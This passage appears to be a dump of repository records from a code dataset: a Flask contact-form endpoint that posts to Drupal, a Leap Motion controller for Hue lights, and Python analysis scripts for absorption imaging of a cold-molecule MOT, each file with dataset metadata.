auth=(APP.config[\"DRUPAL_AUTH_USER\"], APP.config[\"DRUPAL_AUTH_PASSWORD\"])) as req:\n try:\n req.raise_for_status()\n except:\n raise APIException(\"Failed to connect to Drupal\", 503)\n else:\n return req.json()\n\n\n@APP.route('/', methods=['POST'])\ndef handle_form():\n ''' Web entrypoint '''\n try:\n if not request.is_json:\n raise ValueError()\n received_data = request.get_json()\n validate(received_data, CONTACT_FORM_SCHEMA)\n do_recaptcha_validation(received_data[\"recaptcha_response\"])\n drupal_response = post_drupal_contact_message(received_data)\n response = APP.response_class(\n response=json.dumps(jsend.success({'data': drupal_response})),\n status=201,\n mimetype='application/json'\n )\n return response\n except (RecaptchaError, ValidationError, ValueError):\n raise APIException(\"Invalid captcha or bad request\")\n except:\n raise APIException(\"Server error\", 500)\n\n\n@APP.errorhandler(APIException)\ndef handle_api_exception(error):\n '''Global error handler'''\n response = jsonify(error.to_dict())\n response.status_code = error.status_code\n logging.exception(error)\n return response\n", "id": "8815994", "language": "Python", "matching_score": 2.517911911010742, "max_stars_count": 0, "path": "src/app.py" }, { "content": "'''\nJSON Schemas used in this API\n'''\nCONTACT_FORM_SCHEMA = {\n \"definitions\": {},\n \"$schema\": \"http://json-schema.org/draft-04/schema#\",\n \"id\": \"http://example.com/example.json\",\n \"type\": \"object\",\n \"properties\": {\n \"name\": {\n \"id\": \"/properties/name\",\n \"type\": \"string\",\n \"title\": \"The Name Schema.\",\n \"description\": \"An explanation about the purpose of this instance.\",\n \"default\": \"\"\n },\n \"subject\": {\n \"id\": \"/properties/subject\",\n \"type\": \"string\",\n \"title\": \"The Subject Schema.\",\n \"description\": \"An explanation about the purpose of this instance.\",\n \"default\": \"\"\n },\n \"mail\": {\n \"id\": \"/properties/mail\",\n \"type\": \"string\",\n \"title\": \"The Mail Schema.\",\n \"description\": \"An explanation about the purpose of this instance.\",\n \"default\": \"\",\n \"format\": \"email\"\n },\n \"message\": {\n \"id\": \"/properties/message\",\n \"type\": \"string\",\n \"title\": \"The Message Schema.\",\n \"description\": \"An explanation about the purpose of this instance.\",\n \"default\": \"\"\n },\n \"recaptcha_response\": {\n \"id\": \"/properties/recaptcha_response\",\n \"type\": \"string\",\n \"title\": \"The Recaptcha_response Schema.\",\n \"description\": \"An explanation about the purpose of this instance.\",\n \"default\": \"\"\n }\n },\n \"required\": [\n \"name\",\n \"subject\",\n \"mail\",\n \"message\",\n \"recaptcha_response\"\n ]\n}\n", "id": "4827528", "language": "Python", "matching_score": 1.848193645477295, "max_stars_count": 0, "path": "src/schemas.py" } ]
1.848194
oflisback
[ { "content": "# use lillfingret instead of longfingret :)\n# keep color when moving to other light\n\nfrom huecontroller import HueController\nfrom framelistener import FrameListener\nfrom plotter import Plotter\nimport Leap\n\nframe_listener = FrameListener()\nleap_controller = Leap.Controller()\nleap_controller.add_listener(frame_listener)\n\nhue_controller = HueController(frame_listener)\n\nplotter = Plotter(frame_listener)\n\nwhile True:\n pass\n", "id": "559966", "language": "Python", "matching_score": 1.8135170936584473, "max_stars_count": 11, "path": "leaphue.py" }, { "content": "from matplotlib import pyplot as plt\nfrom matplotlib import animation\nimport numpy as np\n\n\nclass Plotter:\n def __init__(self, frame_listener):\n def plot_init():\n for line in self.lines:\n line.set_data([], [])\n return self.lines\n\n def animate(i):\n x = np.linspace(0, 2, 1000)\n for i, y_values in enumerate(frame_listener.get_angle_data()):\n self.lines[i].set_data(x, list(y_values))\n return self.lines\n\n self.frame_listener = frame_listener\n fig = plt.figure()\n ax = plt.axes(xlim=(0, 2), ylim=(-2, 2))\n self.lines = [ax.plot([], [], lw=2)[0] for j in range(4)]\n\n # For some reason we must store the return value somewhere, otherwise it doesn't work!\n _ = animation.FuncAnimation(fig, animate, init_func=plot_init, frames=200, interval=20, blit=True)\n\n plt.show()\n", "id": "5832848", "language": "Python", "matching_score": 1.2990241050720215, "max_stars_count": 11, "path": "plotter.py" }, { "content": "from phue import Bridge\nfrom threading import Thread\nimport time\nfrom rgb_cie import ColorHelper\nimport numpy as np\n\nclass HueController:\n\n LEFT_LAMP_NBR = 1\n RIGHT_LAMP_NBR = 3\n BRIDGE_IP = '192.168.0.243'\n\n def __init__(self, frame_listener):\n def lamp_controller():\n while True:\n time.sleep(0.1)\n\n if self.frame_listener.get_confidence() > 0.1:\n hand_angle = self.frame_listener.get_hand_angle()\n prev_lamp = self.current_lamp\n if self.current_lamp == self.LEFT_LAMP_NBR and hand_angle > np.pi/2.0 + np.pi/8.0:\n self.current_lamp = self.RIGHT_LAMP_NBR\n elif self.current_lamp == self.RIGHT_LAMP_NBR and hand_angle < np.pi/2.0 - np.pi/8.0:\n self.current_lamp = self.LEFT_LAMP_NBR\n\n if prev_lamp != self.current_lamp:\n xy = b.get_light(prev_lamp, 'xy')\n b.set_light(prev_lamp, 'on', False)\n b.set_light(self.current_lamp, 'on', True)\n b.set_light(self.current_lamp, 'xy', xy)\n\n bri = self.get_current_brightness()\n lamp_on = b.get_light(self.current_lamp, 'on')\n if bri == 0:\n if lamp_on:\n b.set_light(self.current_lamp, 'on', False)\n else:\n if not lamp_on:\n b.set_light(self.current_lamp, 'on', True)\n b.set_light(self.current_lamp, 'bri', bri)\n\n new_finger_down = self.frame_listener.pop_new_finger_down_if_any()\n if not new_finger_down is None:\n b.lights[self.current_lamp - 1].xy = ColorHelper().getXYPointFromRGB(*self.colors[new_finger_down])\n\n self.current_lamp = self.RIGHT_LAMP_NBR\n\n self.frame_listener = frame_listener\n b = Bridge(self.BRIDGE_IP)\n b.connect()\n b.set_light(self.LEFT_LAMP_NBR, 'on', False)\n b.set_light(self.RIGHT_LAMP_NBR, 'on', False)\n self.colors = [(255, 0, 0), (0, 255, 0), (0, 0, 255), (255, 255, 255)]\n Thread(target=lamp_controller).start()\n\n def get_current_brightness(self):\n # roughly go between ranges [1, 0] to [0, 255]\n angle = self.frame_listener.get_average_angle()\n if self.frame_listener.get_confidence() == 0 or angle is None:\n return 0\n return int(min(255, 255.0*min(1.0, max(0.0, -angle + 0.5))))\n\n", "id": "6750998", "language": "Python", "matching_score": 2.619072914123535, "max_stars_count": 11, "path": "huecontroller.py" }, { "content": "import Leap\nimport math\nimport vmath\nfrom collections import deque\n\nfrom datetime import datetime\n\n\nclass FrameListener(Leap.Listener):\n\n def on_frame(self, controller):\n frame = controller.frame()\n\n self.confidence = frame.hands[0].confidence\n angle = 4*[None]\n\n if self.confidence < 0.1:\n self.avg_a = None\n return\n\n hd = frame.hands[0].direction\n self.hand_angle = vmath.angle_between((-1, 0, 0), (hd.x, hd.y, hd.z))\n\n for i, a in enumerate(self.angle_data):\n d = frame.hands[0].fingers[i + 1].bone(2).direction\n angle[i] = math.pi/2 - vmath.angle_between((0, 1, 0), (d.x, d.y, d.z))\n a.appendleft(angle[i])\n\n # find the finger pointing most downwards\n # and also the \"second most downwards\" finger.\n # if the difference between them is large enough we conclude\n # that one finger points downwards while the others don't.\n down_fingers = []\n down_fingers.append({'angle' : 0.0, 'finger_index' : 0})\n down_fingers.append({'angle' : 0.0, 'finger_index' : 0})\n\n for i in range(3):\n if angle[i] > down_fingers[0]['angle']:\n down_fingers[1] = down_fingers[0]\n down_fingers[0] = {'angle' : angle[i], 'finger_index' : i}\n elif angle[i] > down_fingers[1]['angle']:\n down_fingers[1] = {'angle' : angle[i], 'finger_index' : i}\n\n angle_diff = down_fingers[0]['angle'] - down_fingers[1]['angle']\n if down_fingers[0]['finger_index'] != -1 and angle_diff > 0.5:\n if self.finger_down != down_fingers[0]['finger_index']:\n self.finger_down = self.new_finger_down = down_fingers[0]['finger_index']\n# print(\"Finger down: \" + str(down_fingers[0]['finger_index']) + \" angle diff: \" + str(angle_diff))\n elif self.finger_down != 3:\n # Hack, 3 means .. no finger down.\n self.finger_down = self.new_finger_down = 3\n\n # We calculate average without the finger pointing downwards the most ...\n fingers_for_average = range(4)\n fingers_for_average.remove(down_fingers[0]['finger_index'])\n angle_sum = 0\n for i in fingers_for_average:\n angle_sum += angle[i]\n self.avg_a = angle_sum / 3.0\n\n def __init__(self):\n super(self.__class__, self).__init__()\n self.angle_data = []\n self.hand_angle = None\n # four fingers to keep track of\n for i in range(4):\n self.angle_data.append(deque([0] * 1000, 1000))\n self.confidence = 0\n self.avg_a = 0\n self.new_finger_down = 3\n self.finger_down = None\n\n def pop_new_finger_down_if_any(self):\n finger = self.new_finger_down\n self.new_finger_down = None\n return finger\n\n def get_hand_direction(self):\n return self.hand_direction\n\n def get_confidence(self):\n return self.confidence\n\n # hand angle in relation to the eh, \"left\" vector, (-1, 0, 0).\n def get_hand_angle(self):\n return self.hand_angle\n\n def get_average_angle(self):\n return self.avg_a\n\n def get_angle_data(self):\n return self.angle_data\n", "id": "12825649", "language": "Python", "matching_score": 1.8672635555267334, "max_stars_count": 11, "path": "framelistener.py" }, { "content": "import numpy as np\n\n\ndef unit_vector(vector):\n \"\"\" Returns the unit vector of the vector. \"\"\"\n return vector / np.linalg.norm(vector)\n\n\ndef angle_between(v1, v2):\n v1_u = unit_vector(v1)\n v2_u = unit_vector(v2)\n angle = np.arccos(np.dot(v1_u, v2_u))\n if np.isnan(angle):\n if (v1_u == v2_u).all():\n return 0.0\n else:\n return np.pi\n return angle\n\n", "id": "6358821", "language": "Python", "matching_score": 0.5573278069496155, "max_stars_count": 11, "path": "vmath.py" } ]
1.813517
gautampk
[ { "content": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 19 07:43:49 2019\n\n@author: arijit\n\"\"\"\n\nimport numpy as np\nimport os,zipfile\nfrom PIL import Image\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import AutoMinorLocator\nimport scipy.constants as cn\nimport re\n\ndef atoi(text):\n return int(text) if text.isdigit() else text\n\ndef natural_keys(text):\n return [atoi(c) for c in re.split(r'(\\d+)', text) ]\n\ndef injector(fileNoStart,fileNoStop,NoImages,\n fileNameString=\"CaF18Jul1900\",\n remotePath=\"//PH-TEW105/Users/rfmot/Desktop/AbsImages/\",\n dirPath=\"C:/Users/cafmot/Box Sync/CaF MOT/MOTData/MOTMasterData/\"):\n imgs=os.listdir(remotePath)\n imgs.sort(key=natural_keys)\n if len(imgs)==(fileNoStop-fileNoStart+1)*NoImages:\n print 'Inserting images to the zip files...'\n l=0\n for fileNo in range(fileNoStart,fileNoStop+1):\n filepath=os.path.join(dirPath,fileNameString+'_'+str(fileNo).zfill(3)+'.zip')\n with zipfile.ZipFile(filepath, 'a') as archive:\n files=archive.namelist()\n for _ in range(NoImages):\n if imgs[l] not in files:\n archive.write(os.path.join(remotePath,imgs[l]),imgs[l])\n l+=1\n for img in imgs:\n os.remove(os.path.join(remotePath,img))\n elif len(imgs)==0:\n print 'No Image to insert'\n elif len(imgs)<(fileNoStart-fileNoStop+1)*NoImages:\n print 'There seems to be less number of images than required!'\n elif len(imgs)>(fileNoStart-fileNoStop+1)*NoImages:\n print 'There are more images than expected!'\n\ndef gaussianFit(x,y):\n f= lambda x,a,c,s,o: a*np.exp(-(x-c)**2/(2*s**2))+o\n loc_trial=np.argmax(y)\n a_trial=y[loc_trial]\n c_trial=x[loc_trial]\n o_trial=np.min(y)\n s_trial=np.sqrt(np.abs(((x[int(loc_trial+4)]-c_trial)**2-\\\n (x[int(loc_trial)]-c_trial)**2)/\\\n (2*np.log(np.abs(y[int(loc_trial+4)]/y[int(loc_trial)])))))\n popt,_=curve_fit(f,x,y,p0=[a_trial,c_trial,s_trial,o_trial])\n return f,popt[0],popt[1],popt[2],popt[3]\n\ndef gaussianFitX(x,y):\n f= lambda x,a,c,s,o: a*np.exp(-(x-c)**2/(2*s**2))+o\n loc_trial=np.argmax(y)\n a_trial=y[loc_trial]\n c_trial=x[loc_trial]\n o_trial=np.min(y)\n d = np.abs((y-o_trial)-(a_trial-o_trial)/2.0)<(a_trial-o_trial)/10.0\n indexes = np.where(d > 0)\n s_trial=(x[indexes[0][-1]]-x[indexes[0][0]])/2\n popt,_=curve_fit(f,x,y,p0=[a_trial,c_trial,s_trial,o_trial])\n return f,popt[0],popt[1],popt[2],popt[3]\n\ndef Absorption(fileNoStart,fileNoStop,param,detuningInVolt,crop,\n centre,width,height,fileNameString,showPlot=True,showOd=False,\n dirPath=\"C:/Users/cafmot/Box Sync/CaF MOT/MOTData/MOTMasterData/\"):\n analysis=defaultCaF()\n analysis.dirPath=dirPath\n analysis.fileNameString=fileNameString\n N_mean_list=[]\n N_std_list=[]\n paramVals=[]\n for fileNo in range(fileNoStart,fileNoStop+1):\n images,paramsDict=analysis.readFromZip(fileNo)\n paramVals.append(paramsDict[param])\n clouds=images[0::3,:,:]\n probes=images[1::3,:,:]\n bgs=images[2::3,:,:]\n od=np.log((probes-bgs)/(clouds-bgs))\n od[np.isnan(od)] = 0.0\n od[od == -np.inf] = 0.0\n od[od == np.inf] = 0.0\n if crop:\n od=od[:,centre[0]-height/2:centre[0]+height/2,\n centre[1]-width/2:centre[1]+width/2]\n N=(1+4*(detuningInVolt*14.7)**2/36)*(2.4*4*6.4e-6)**2*np.sum(od,axis=(1,2))/(3*780e-9**2/(2*np.pi))\n N_mean_list.append(np.mean(N))\n N_std_list.append(np.std(N)/np.sqrt(len(N)))\n if showOd:\n fig,ax=plt.subplots()\n im=ax.imshow(np.mean(od,axis=0))\n fig.colorbar(im)\n if showPlot:\n fig,ax=plt.subplots()\n ax.errorbar(np.array(paramVals),np.array(N_mean_list),\n yerr=np.array(N_std_list),\n fmt='ok')\n ax.set_ylabel('MOT Number')\n ax.set_xlabel(param)\n return np.array(N_mean_list),\\\n np.array(N_std_list),\\\n np.array(paramVals)\n\ndef AbsorptionDensity(fileNoStart,fileNoStop,param,detuningInVolt,crop,\n centre,width,height,fileNameString,showPlot=True,showOd=False,showFits=False,\n dirPath=\"C:/Users/cafmot/Box Sync/CaF MOT/MOTData/MOTMasterData/\"):\n analysis=defaultCaF()\n analysis.dirPath=dirPath\n analysis.fileNameString=fileNameString\n radialSigmas=[]\n axialSigmas=[]\n paramVals=[]\n densities_mean_list=[]\n densities_std_list=[]\n pixelSize=6.4e-6\n binSize=4\n mag=0.416\n for fileNo in range(fileNoStart,fileNoStop+1):\n images,paramsDict=analysis.readFromZip(fileNo)\n paramVals.append(paramsDict[param])\n clouds=images[0::3,:,:]\n probes=images[1::3,:,:]\n bgs=images[2::3,:,:]\n l,m,p=np.shape(probes)\n binProbes=probes#.reshape((l,m/2,2,p/2,2)).sum(2).sum(3)\n binClouds=clouds#.reshape((l,m/2,2,p/2,2)).sum(2).sum(3)\n binBgs=bgs#.reshape((l,m/2,2,p/2,2)).sum(2).sum(3)\n od=np.log((binProbes-binBgs)/(binClouds-binBgs))\n od[np.isnan(od)] = 0.0\n od[od == -np.inf] = 0.0\n od[od == np.inf] = 0.0\n if crop:\n od=od[:,centre[0]-height/2:centre[0]+height/2,\n centre[1]-width/2:centre[1]+width/2]\n od_mean=np.mean(od,axis=0)\n N=(1+4*(detuningInVolt*14.7)**2/36)*(2.4*4*6.4e-6)**2*np.sum(od,axis=(1,2))/(3*780e-9**2/(2*np.pi))\n radialY=np.sum(od_mean,axis=0)\n axialY=np.sum(od_mean,axis=1)\n radialYLength=len(radialY)\n axialYLength=len(axialY)\n radialX=pixelSize*(binSize/mag)*np.arange(0,radialYLength)\n axialX=pixelSize*(binSize/mag)*np.arange(0,axialYLength) \n radialGaussian,radialA,radialC,radialSigma,radiaOffset=gaussianFit(radialX,radialY)\n axialGaussian,axialA,axialC,axialSigma,axialOffset=gaussianFit(axialX,axialY)\n radialSigmas.append(radialSigma)\n axialSigmas.append(axialSigma)\n density=(1e-6*N/((2*np.pi)**(1.5)*axialSigma*radialSigma**2))\n densities_mean_list.append(np.mean(density))\n densities_std_list.append(np.std(density)/np.sqrt(len(density)))\n if showOd:\n fig,ax=plt.subplots()\n im=ax.imshow(od_mean)\n fig.colorbar(im)\n print ''\n if showFits:\n fig, ax = plt.subplots(1,1)\n ax.plot(radialX,radialY,'ob')\n ax.plot(axialX,axialY,'og')\n ax.plot(radialX,radialGaussian(radialX,radialA,radialC,radialSigma,radiaOffset),'-r')\n ax.plot(axialX,axialGaussian(axialX,axialA,axialC,axialSigma,axialOffset),'-k')\n plt.show()\n densities_mean_list=np.array(densities_mean_list)\n densities_std_list=np.array(densities_std_list)\n paramVals=np.array(paramVals)*1e-5\n\n fig, ax = plt.subplots()\n ax.errorbar(paramVals,densities_mean_list,yerr=densities_std_list, fmt='ok')\n\ndef AbsorptionTemperature(fileNoStart,fileNoStop,param,detuningInVolt,crop,\n centre,width,height,fileNameString,showPlot=True,showOd=False,showFits=False,\n dirPath=\"C:/Users/cafmot/Box Sync/CaF MOT/MOTData/MOTMasterData/\"):\n analysis=defaultCaF()\n analysis.dirPath=dirPath\n analysis.fileNameString=fileNameString\n radialSigmas=[]\n axialSigmas=[]\n paramVals=[]\n pixelSize=6.4e-6\n binSize=4\n mag=0.39\n for fileNo in range(fileNoStart,fileNoStop+1):\n images,paramsDict=analysis.readFromZip(fileNo)\n paramVals.append(paramsDict[param])\n clouds=images[0::3,:,:]\n probes=images[1::3,:,:]\n bgs=images[2::3,:,:]\n l,m,p=np.shape(probes)\n binProbes=probes#.reshape((l,m/2,2,p/2,2)).sum(2).sum(3)\n binClouds=clouds#.reshape((l,m/2,2,p/2,2)).sum(2).sum(3)\n binBgs=bgs#.reshape((l,m/2,2,p/2,2)).sum(2).sum(3)\n od=np.log((binProbes-binBgs)/(binClouds-binBgs))\n od[np.isnan(od)] = 0.0\n od[od == -np.inf] = 0.0\n od[od == np.inf] = 0.0\n if crop:\n od=od[:,centre[0]-height/2:centre[0]+height/2,\n centre[1]-width/2:centre[1]+width/2]\n od_mean=np.mean(od,axis=0)\n radialY=np.sum(od_mean,axis=0)\n axialY=np.sum(od_mean,axis=1)\n radialYLength=len(radialY)\n axialYLength=len(axialY)\n radialX=pixelSize*(binSize/mag)*np.arange(0,radialYLength)\n axialX=pixelSize*(binSize/mag)*np.arange(0,axialYLength) \n radialGaussian,radialA,radialC,radialSigma,radiaOffset=gaussianFit(radialX,radialY)\n axialGaussian,axialA,axialC,axialSigma,axialOffset=gaussianFit(axialX,axialY)\n radialSigmas.append(radialSigma)\n axialSigmas.append(axialSigma)\n if showOd:\n fig,ax=plt.subplots()\n im=ax.imshow(od_mean)\n fig.colorbar(im)\n if showFits:\n fig, ax = plt.subplots(1,1)\n ax.plot(radialX,radialY,'ob')\n ax.plot(axialX,axialY,'og')\n ax.plot(radialX,radialGaussian(radialX,radialA,radialC,radialSigma,radiaOffset),'-r')\n ax.plot(axialX,axialGaussian(axialX,axialA,axialC,axialSigma,axialOffset),'-k')\n plt.show()\n axialSigmas=np.array(axialSigmas)\n radialSigmas=np.array(radialSigmas)\n paramVals=np.array(paramVals)*1e-5\n axialLin,axialM,axialC=analysis.linearFit(paramVals**2,axialSigmas**2)\n radialLin,radialM,radialC=analysis.linearFit(paramVals**2,radialSigmas**2)\n axialTemp=axialM*(86.9*cn.u/cn.k)*1e3\n radialTemp=radialM*(86.9*cn.u/cn.k)*1e3\n timeValsInterpolated=np.linspace(np.min(paramVals),\n np.max(paramVals),\n 100)\n\n fig, ax = plt.subplots(1,2)\n ax[0].plot(paramVals**2*1e6,radialSigmas**2*1e6,'ok')\n ax[1].plot(paramVals**2*1e6,axialSigmas**2*1e6,'ok')\n ax[0].plot(timeValsInterpolated**2*1e6,\n radialLin(timeValsInterpolated**2,radialM,\n radialC)*1e6,'-r')\n ax[1].plot(timeValsInterpolated**2*1e6,\n axialLin(timeValsInterpolated**2,axialM,axialC)*1e6,'-r')\n ax[0].set_title('Tr: {0:2.4f} [mK]'.format(radialTemp))\n ax[1].set_title('Ta: {0:2.4f} [mK]'.format(axialTemp))\n ax[1].yaxis.tick_right()\n ax[1].yaxis.set_label_position(\"right\")\n for axis in ax:\n axis.xaxis.set_minor_locator(AutoMinorLocator())\n axis.yaxis.set_minor_locator(AutoMinorLocator())\n axis.set_xlabel('time^2 [ms^2]')\n axis.set_ylabel('size^2 [mm^2]')\n\ndef gaussianFit2D((x, y), amplitude, xo, yo, sigma_x, sigma_y, theta, offset):\n xo = float(xo)\n yo = float(yo) \n a = (np.cos(theta)**2)/(2*sigma_x**2) + (np.sin(theta)**2)/(2*sigma_y**2)\n b = -(np.sin(2*theta))/(4*sigma_x**2) + (np.sin(2*theta))/(4*sigma_y**2)\n c = (np.sin(theta)**2)/(2*sigma_x**2) + (np.cos(theta)**2)/(2*sigma_y**2)\n g = offset + amplitude*np.exp( - (a*((x-xo)**2) + 2*b*(x-xo)*(y-yo) + c*((y-yo)**2)))\n return g.ravel()\n\ndef getInitialGuesses(od,pixelSize,binSize,magFactor):\n amplitude=np.max(od)\n offset=np.min(od)\n x=np.sum(od,axis=0)\n xd=np.arange(0,len(x))*pixelSize*(binSize/magFactor)\n y=np.sum(od,axis=1)\n yd=np.arange(0,len(y))*pixelSize*(binSize/magFactor)\n xo=np.argmax(x)\n yo=np.argmax(y)\n return (amplitude,xo,yo,20*pixelSize*(binSize/magFactor),\n 10*pixelSize*(binSize/magFactor),0,offset)\n\ndef getOdFitted(od,pixelSize,binSize,magFactor):\n l,m,n=np.shape(od)\n odFitted=np.zeros_like(od)\n f=pixelSize*(binSize/magFactor)\n x = np.arange(0, n)*f\n y = np.arange(0, m)*f\n x, y = np.meshgrid(x, y) \n popts=[]\n for i in range(l):\n p0 = (1,30*f,40*f,20*f,10*f,0,0)\n popt, _ = curve_fit(gaussianFit2D, (x, y), od[i,:,:].reshape((m*n)),p0=p0)\n odFitted[i,:,:] = gaussianFit2D((x, y), *popt).reshape((m,n))\n popts.append(popt)\n return odFitted,np.array(popts)\n\ndef getOdCleaned(probes,clouds,bgs):\n probes=probes-bgs\n clouds=clouds-bgs\n clouds[clouds<=0]=1.0\n od=np.log(probes/clouds)\n od[np.isnan(od)] = 0.0\n od[od == -np.inf] = 0.0\n od[od == np.inf] = 0.0\n return od\n\ndef imshowArray(ifarray,array):\n if ifarray:\n fig,ax=plt.subplots()\n im=ax.imshow(np.mean(array,axis=0))\n fig.colorbar(im)\n plt.show()\n\n\ndef AbsorptionAnalysis(fileNoStart,fileNoStop,param,detuningInVolt,crop,\n centre,width,height,fileNameString,\n numberByFit=True,\n showFits=True,\n showOd=False,\n pixelSize=6.4e-6,\n binSize=4,\n magFactor=0.41,\n dirPath=\"C:/Users/cafmot/Box Sync/CaF MOT/MOTData/MOTMasterData/\"):\n returnDict={}\n analysis=defaultCaF()\n analysis.dirPath=dirPath\n analysis.fileNameString=fileNameString\n s0=(1+4*(detuningInVolt*14.7)**2/36)/(3*780e-9**2/(2*np.pi))\n paramVals=[]; amplitudesMean=[]; sigmas_xMean=[]; sigmas_yMean=[]\n xosMean=[]; yosMean=[]; numbersMean=[]; numbersStd=[]; amplitudesStd=[]\n sigmas_xStd=[]; sigmas_yStd=[]; xosStd=[]; yosStd=[];ods=[]\n for fileNo in range(fileNoStart,fileNoStop+1):\n images,paramsDict=analysis.readFromZip(fileNo)\n paramVals.append(paramsDict[param])\n clouds=images[0::3,:,:]\n probes=images[1::3,:,:]\n bgs=images[2::3,:,:]\n od=getOdCleaned(probes,clouds,bgs)\n if crop:\n od=od[:,centre[0]-height/2:centre[0]+height/2,\n centre[1]-width/2:centre[1]+width/2]\n imshowArray(showOd,od)\n ods.append(np.mean(od,axis=0))\n if numberByFit:\n odFitted,popt=getOdFitted(od,pixelSize,binSize,magFactor)\n imshowArray(showFits,odFitted)\n l=np.sqrt(len(popt[:,0]))\n amplitude=popt[:,0]\n xo=popt[:,1]\n yo=popt[:,2]\n sigma_x=popt[:,3]\n sigma_y=popt[:,4]\n N=(2*np.pi)*amplitude*np.abs(sigma_x)*np.abs(sigma_y)*s0\n amplitudesMean.append(np.mean(amplitude))\n xosMean.append(np.mean(xo))\n yosMean.append(np.mean(yo))\n sigmas_xMean.append(np.mean(sigma_x))\n sigmas_yMean.append(np.mean(sigma_y))\n amplitudesStd.append(np.std(amplitude)/l)\n xosStd.append(np.std(xo)/l)\n yosStd.append(np.std(yo)/l)\n sigmas_xStd.append(np.std(sigma_x)/l)\n sigmas_yStd.append(np.std(sigma_y)/l)\n else:\n N=(pixelSize*(binSize/magFactor))**2*np.sum(od,axis=(1,2))*s0\n numbersMean.append(np.mean(N))\n numbersStd.append(np.std(N)/np.sqrt(len(N)))\n\n returnDict['N_mean']=np.array(numbersMean)\n returnDict['N_std']=np.array(numbersStd)\n returnDict['paramVals']=np.array(paramVals)*1e-5\n returnDict['ods']=np.array(ods)\n if numberByFit:\n returnDict['fitSigmas_xMean']=np.array(sigmas_xMean)\n returnDict['fitSigmas_xStd']=np.array(sigmas_xStd)\n returnDict['fitSigmas_yMean']=np.array(sigmas_yMean)\n returnDict['fitSigmas_yStd']=np.array(sigmas_yStd)\n returnDict['fitAmplitudesMean']=np.array(amplitudesMean)\n returnDict['fitAmplitudesStd']=np.array(amplitudesStd)\n returnDict['fitXosMean']=np.array(xosMean)\n returnDict['fitXosStd']=np.array(xosStd)\n returnDict['fitYosMean']=np.array(yosMean)\n returnDict['fitYosStd']=np.array(yosStd)\n return returnDict\n\n\n\n\n\n\n\n\n\n\n\n\n\nclass Analysis:\n \"\"\"\n This is the analysis object for CaF and Rb MOT \\n\n Input \\n\n fileNoStart=starting No of the files to be analysed \\n,\n fileNoStop=ending No of the files to be analysed \\n,\n fileNoBG=file No of the file with background \\n,\n requirement=allows a switch to select from \\n\n 'Image' : To get the images of all the files \\n\n 'Number': To get the number variation of all the files\\n\n 'Temperature' : To get the temperature from the expansion set \\n\n 'Lifetime': to get the lifetime from the dataset\\n\n param=parameter of the variation\\n\n fit=True to fit the data points\\n\n fitType=type of fitting if fit is true, choose from\\n\n 'exp': for exponential fit [y=a*exp(-(x-c)/s)]\\n\n 'lin': for linear fit [y=m*x+c]\\n\n 'gauss': for gaussian fit [y=a*exp(-(x-c)**2/(2*s**2))]\n trigType=choose from\\n\n 'single': for single trigger images\\n\n 'double': for double trigger normalizations\\n\n N_interpolate=integer for number of points in the fitted curve\\n\n fmt=plotting format, default is 'ok'\\n,\n showFits=True if want to have the gaussian fit to the cloud data\\n\n imageCols=integer for number of coumns for 'Image' or showFits\\n\n \"\"\"\n def __init__(self,args={}):\n for key in args:\n self.__dict__[key]=args[key]\n \n def __setattr__(self,name,value):\n self.__dict__[name]=value\n\n def getFilepath(self,fileNo):\n \"\"\"This method create the full filepath from the fileNo input\n \"\"\"\n return os.path.join(self.dirPath,\n self.fileNameString+'_'+str(fileNo).zfill(3)+'.zip')\n \n def convertRawToCount(self,raw):\n return (2**self.bitDepth-1)*raw\n \n def convertCountsToPhotons(self,counts): \n return counts*(np.float(self.fullWellCapacity)/(2**self.bitsPerChannel-1))/self.etaQ\n \n def convertPhotonsToNumber(self,photonCount):\n return photonCount/(self.exposureTime*self.gamma*self.collectionSolidAngle)\n \n def readFromZip(self,fileNo):\n archive=zipfile.ZipFile(self.getFilepath(fileNo),'r')\n imgs=[]\n files=archive.namelist()\n files.sort(key=natural_keys)\n for f in files:\n if f[-3:]=='tif':\n with archive.open(f) as filename:\n imgs.append(np.array(Image.open(filename),dtype=float))\n if f[-14:]=='parameters.txt':\n with archive.open(f) as filename:\n scriptParams=filename.readlines()\n if f[-18:]=='hardwareReport.txt':\n with archive.open(f) as filename:\n hardwareParams=filename.readlines()\n tempDict={}\n for param in scriptParams:\n paramSplit=param.split(b'\\t')\n tempDict[paramSplit[0]]=np.float(paramSplit[1])\n for param in hardwareParams:\n paramSplit=param.split(b'\\t')\n tempDict[paramSplit[0]]=np.float(paramSplit[1]) if \\\n paramSplit[1].isdigit() else paramSplit[1]\n paramDict={}\n for key in tempDict:\n paramDict[key.decode(\"utf-8\")]=tempDict[key]\n return np.array(imgs),paramDict\n\n def getImagesFromTwoTriggerData(self,fileNo):\n imgs,paramsDict=self.readFromZip(fileNo)\n return imgs[::2,:,:],imgs[1::2,:,:],paramsDict\n \n def getAvgImageFromTwoTriggerData(self,fileNo):\n normImages,measImages,_=self.getImagesFromTwoTriggerData(fileNo)\n return np.mean(normImages,axis=0),np.mean(measImages,axis=0)\n \n def getImagesFromOneTriggerData(self,fileNo):\n imgs,paramsDict=self.readFromZip(fileNo)\n return imgs,paramsDict\n \n def getAvgImageFromOneTriggerData(self,fileNo):\n imgs,_=self.getImagesFromOneTriggerData(fileNo)\n return np.mean(imgs,axis=0)\n \n def cropImages(self,imageArray):\n h_top=int(self.cropCentre[0]-self.cropHeight/2)\n h_bottom=int(self.cropCentre[0]+self.cropHeight/2)\n w_left=int(self.cropCentre[1]-self.cropWidth/2)\n w_right=int(self.cropCentre[1]+self.cropWidth/2)\n return imageArray[:,h_top:h_bottom,w_left:w_right]\n \n def cropSingleImages(self,imageArray):\n h_top=self.cropCentre[1]-self.cropHeight/2\n h_bottom=self.cropCentre[1]+self.cropHeight/2\n w_left=self.cropCentre[0]-self.cropWidth/2\n w_right=self.cropCentre[0]+self.cropWidth/2\n return imageArray[h_top:h_bottom,w_left:w_right]\n\n def getMOTNumber(self,imageArray):\n totalCount=np.sum(self.cropImages(imageArray),axis=(1,2))\n totalMolecules=self.convertPhotonsToNumber(\n self.convertCountsToPhotons(totalCount))\n return totalMolecules\n \n def singleImageNumberWithBG(self,fileNo,fileNoBG,\n param='Frame0Trigger'):\n imagesBG,_=self.readFromZip(fileNoBG)\n images,paramsDict=self.readFromZip(fileNo)\n imageSubBG=images-imagesBG\n imageCropped=self.cropImages(imageSubBG)\n numbers=self.getMOTNumber(imageCropped)\n return np.mean(numbers),\\\n np.std(numbers)/np.sqrt(len(numbers)),\\\n 